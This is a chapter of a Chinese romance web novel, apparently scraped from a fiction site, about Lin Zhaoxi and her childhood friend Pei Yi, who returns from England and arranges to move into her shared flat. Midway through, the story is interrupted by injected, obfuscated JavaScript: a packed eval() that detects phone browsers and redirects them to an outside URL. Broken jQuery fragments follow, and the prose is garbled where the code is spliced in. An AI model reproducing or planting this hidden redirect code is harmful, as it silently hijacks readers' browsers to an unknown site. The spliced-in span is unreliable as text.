电话终于被接起,林朝晞耳边传来裴弈的声音,隔着听筒,像蒙了层雾,模糊又磁性,在周遭略显喧闹的环境音下,尤为突出。
“我是林朝晞,”林朝晞莫名的紧张,突然开始自我介绍起来,“你到哪里了?”
电话那端的人低笑了一声,裹着淡淡的鼻音,揶揄道:“嗯,我是裴弈,刚到临湖站。”
“你学我干嘛,”她小声吐槽,为自己反常的态度感到尴尬,“我就是确认一下。”
“我以为是什么接头暗号,毕竟某人当年说‘再也不理我’,现在主动给我打电话,怪新鲜的。”他尾音带着点刻意的调侃,像在翻旧账。
林朝晞窘迫得脸上发热,没接话,转而道:“那,那你都到高铁站了,我还要过去吗?我在家门口这个地铁站等你就好了吧?”
那边顿了一下,说:“那还能算接吗?”
林朝晞:“怎么不算?反正能领你回家就好了嘛。”
裴弈沉下声音:“没诚意。”
“那怎么办……你在高铁站坐着等我,我乘地铁过去?然后我们再一起乘地铁回来?”她说到后面,语气怪怪的,像不太赞同这种费时费力的做法。
裴弈:“……你到中山西路等我。”
林朝晞抬头看地图,中山西路大约在家和高铁站的中间点。
“好吧,那我现在出发。”她答应得好好的,随后挂了电话。
正是下班高峰期,地铁里挤满了人,林朝晞被挤得差点下不了车,头发都乱了,好不容易走出站台,跟着人流出去,到了分岔路口,才想起问裴弈在哪个出口。
她拿出手机,屏幕上显示有一个未接来电,是裴弈打来的。她回拨,却迟迟不见对方接电话。
正嘀咕着他在干嘛,一股清淡的香味从背后袭来,紧接着,一只手不轻不重地揉乱了她发顶。
“头发真乱。”他的声音从极近处落下,带着点戏谑。
林朝晞蓦地转头,捂着自己刚被抚摸的头顶,看到那张熟悉又陌生的脸,一时惊怔住,忘了反应。
裴弈穿一件纯白外套,帽檐一圈浅棕绒毛被风拂得轻轻晃动,轮廓看着柔和,眼神却带着点促狭:“怎么,不认识我了?”
他微偏着头看她,眼角天生上翘,瞳孔墨黑,眸光在人来人往的喧嚣里,静得像深夜的湖。
她动了动唇,支支吾吾半天,愣是一个字都没说出来。
“走吧。”他扯了扯嘴角,极快地笑了一下,伸手拽住她的袖口往站台方向带,力道有些重,带着点不容挣脱的霸道。
地铁里依然拥挤,裴弈一手虚拢在她身后隔开人流,另一只手握住头顶横杆,将她圈进一方相对安稳的空间。
两人肩靠着肩站着,玻璃窗上映出他清晰的侧影。
白衣洁净,气质清朗,不说话的时候,任谁看都像个纯粹又体贴的邻家哥哥。
林朝晞看着那倒影,心里却浮起一种微妙的抽离感。
不知是不是因为他刚才的调侃和摸头,总觉得,他们之间没有想象中那么陌生和尴尬。
“你的行李呢?”她盯着玻璃窗上他的脸。
“提前寄回家了。”他也望着她的倒影,目光不偏不倚。
“好吧。”她侧目,避开对视。
窗玻璃上映出的两人,她比他矮一个头,穿一件鹅黄短羽绒,头发乱糟糟的,露出光洁的额头和白净的脸,低着头,两颊圆润,睫毛是天生的卷翘。
他的目光沉沉落在那上面,带着点不易察觉的专注。
地铁很快到站。
裴弈跟在林朝晞身后,一路无言。
林朝晞停下来看他,发现他正注视着自己,便生硬地找了个话题:“英国冷吗?”
他的目光在她脸上停驻片刻,不答反问:“你关心?”
她没想到随口一扯的话题,会被他反问回来,愣了一秒,随后点点头。
他却是走上前,将她从头到脚打量了一遍,唇角微扬:“看来国内伙食不错。”
“……你才胖了!”林朝晞瞬间被点燃。
“我可没说,”他眼里的笑意深了些,语气无辜,“你自己说的。”
林朝晞有些气鼓鼓地走过他面前,碎声念叨:“笑吧你就!笑吧。”
冬天的寒风像猎刀一样在她脸上刮过,她也不知道他们俩为什么要走路回家,而不是打车。
但她越发雀跃和轻盈的脚步告诉她,裴弈回来,她很高兴;裴弈说她胖了,她虽然有点不爽,但他们能像从前一样拌嘴,她还是高兴。
回到家,门一开,林妈就热情地拥上来,拍着裴弈的肩膀:“小弈,好久不见了!长这么高这么帅了!”
“阿姨,好久不见,给您买的礼物寄回家了,我晚点给您送来。”裴弈得体地微笑道。
林朝晞在旁边看得撇嘴:这人,也就会在大人面前装乖。
饭桌上,布了几道菜,小葱拌豆腐,糖醋里脊,鱼香肉丝,土豆炖鸡,还有满满一盘白菜饺子,都是裴弈和林朝晞喜欢吃的。
两人专注地低头吃着饺子,同时端起碗喝了口汤,碗落在桌上,发出轻响。
林妈两手交叠,托着下巴,歪着头,满眼疼爱地看着两个孩子,笑道:“你看看你俩,连喝汤的姿势都同步。多心有灵犀啊。”
林朝晞有点尴尬地抬眼看林妈,心里嘀咕:老妈真是哪壶不开提哪壶。
裴弈侧目,往林朝晞的方向扫了扫,嘴角噙着一抹淡笑:“那是当然。”
林朝晞埋头吃饭,只觉得他真是个体面人。
“来,小弈多吃点,”林妈笑着给两人都夹了菜,“晞晞也多吃。”
裴弈:“谢谢阿姨。对了,叔叔呢?”
“他去外地出差了,过阵子回来。”
“这样。”
“嗯,你这次打算呆多久啊?”
裴弈夹菜的手停了停:“我毕业了,不会回英国了。”
林朝晞闻声一愣,也停下筷子,竖起耳朵听。
林妈:“你念硕士,不是到明年才毕业吗?”
“我本科跳了一级。”裴弈垂着乖顺的睫毛,语气无波无澜。
林妈听了,止不住地一顿夸。
林朝晞没说什么,一种熟悉的感觉涌上来。
裴弈之于她,就像“别人家的孩子”,明明大她一岁,但样样都比她优秀,总被爸妈拿出来当她的榜样。
本来出国念顶尖大学就已经够夸张了,怎么还能跳一级?
林朝晞斜了他一眼。
他精准地捕捉到她的视线,望过来:“嗯?”
“没什么。”她低头吃饭,心里既有些对他天赋的艳羡之感,又有些隐秘的喜悦。
毕业了也好,那以后就多一个人陪她了。
一阵铃声从卧室传来,林朝晞放下筷子:“我手机响了。我去看看。”
裴弈的目光跟着她离席,等确认她进了房间,才状似不经意地对林妈说:“对了阿姨,我找了份工作,就在朝晞的大学附近。最近在找房子……”
他话音刚落,林妈眼睛一亮,立刻接话:“哎呀!正好,晞晞合租那套房子,上个月正好空了一间出来!等会儿我跟她说说,让她明天领你去看看环境!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093780|195563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
裴弈抬眼,目光似有若无地扫过林朝晞房间的方向,唇角微扬,语气却带着几分恰到好处的犹豫:
“这样……会不会太麻烦朝晞了?我怕她不好意思拒绝。”
“麻烦什么?反正房间空着也是空着,”林妈大包大揽,“就这么定了。”
“那……多谢阿姨。”他颔首。
林妈:“不过你找的是什么工作啊?”
林朝晞从房间走出来,重新在餐桌边坐下。
裴弈笑了笑,目光转向林朝晞:“这个,得问朝晞同不同意让我说了。”
林朝晞没听见他们前面在讨论什么,疑惑道:“什么?我同意什么?”
裴弈抽了张纸,慢条斯理地擦拭嘴唇,不急不缓地说:“没什么。”
林朝晞古怪地皱了一下眉头,没追问,埋头吃饭。
晚饭后,裴弈回家取了礼物送给林妈,随后拿出另一个礼盒,递到林朝晞面前。
她眼底闪过一丝惊喜,没敢乐得太明显,犹豫道:“我也有?”
他并不答话,只是将盒子又往前递了半分,动作带着一种理所当然的催促。
林朝晞一边鬼祟地睨着他,一边打开。一个眼熟的数位板映入眼帘。
她不禁低呼一声,眉眼皆是掩盖不住的喜悦:“你怎么知道我想要这个?!”
这个数位板很贵,是上个月的新款,她去年这个时间刚换了新的,所以一直不舍得买。
“猜的。”他语气简洁,没多解释。
林朝晞敛了笑,咬了咬下唇,还是把数位板放回原盒:“太贵了,怎么能收。”
“不要也退不了了。”裴弈的声音沉静,甚至算得上温和,却透着一股没有转圜余地的意味。
“怎么会,我还没拆包装呢。”她被他说得一紧张,连忙想把包装还原。
一只修长白皙的手按住了那包装盒,他站在她身侧,淡淡清香萦绕过来:“明年我生日,你再送回来就扯平了。”
林朝晞一听,觉得可行,态度软了下来:“这样么?”
“嗯。”他应了一声,目光落在她悄悄弯起的嘴角上,停顿了一秒,才接着说:“明天看房,记得早起。”
说完,不等她反应,便转身对林妈礼貌道别,干脆利落地走了。
林朝晞停下研究数位板的动作,后知后觉地“诶”了一声:“看什么房啊?”
“噢对,你和同学合租的房子,不是空出来一间么?小弈说在你学校附近找了个工作,明天你正好没事儿,带他去看看。”林妈交代完,宝贝地抱着裴弈送的围巾,哼着小曲儿往卧室里去了。
林朝晞眼睛倏地瞪圆,刚才弯着的嘴角瞬间僵住,迟钝地眨巴了两下眼睛,脑子里嗡嗡的,完全没跟上节奏:“找工作?”
“对啊,”林妈的声音飘过来,“就在你学校附近呢,多方便,刚好能互相照应。”
学校附近?
林朝晞愣在原地,手里的数位板仿佛都沉了几分。
她压根没听说裴弈要回国工作,更想不到,他可能会搬到她合租的房子里。
这也太突然了吧。
她低头盯着怀里的数位板,又猛地抬头望向门口,裴弈的身影早就没了踪影。
一连串的问号在脑子里打旋,她后知后觉地皱起眉头,小声嘀咕:“搞什么啊……突然就要住一起了。”
嘀咕完,目光却诚实地粘在了怀里的数位板上。
……好吧。
好像也没什么。
她爱不释手地把数位板揣回房间,很快重新露出笑容,新鲜劲十足地摆弄起来。